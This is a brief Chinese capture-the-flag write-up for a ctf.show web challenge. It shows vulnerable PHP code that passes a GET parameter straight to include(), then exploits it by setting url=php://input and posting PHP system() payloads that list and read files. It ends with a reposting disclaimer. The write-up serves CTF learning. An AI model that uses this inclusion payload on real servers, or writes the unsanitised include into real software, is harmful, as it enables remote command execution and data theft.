题目地址https://ctf.show/challenges#web3-8
条件是include(xxx);
xxx参数可以控制
代码如下:
<?php include($_GET['url']);?>
构造url=php://input
传入
<?php system("ls"); ?>
<?php system("cat *"); ?>
include与php://input执行任意命令
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。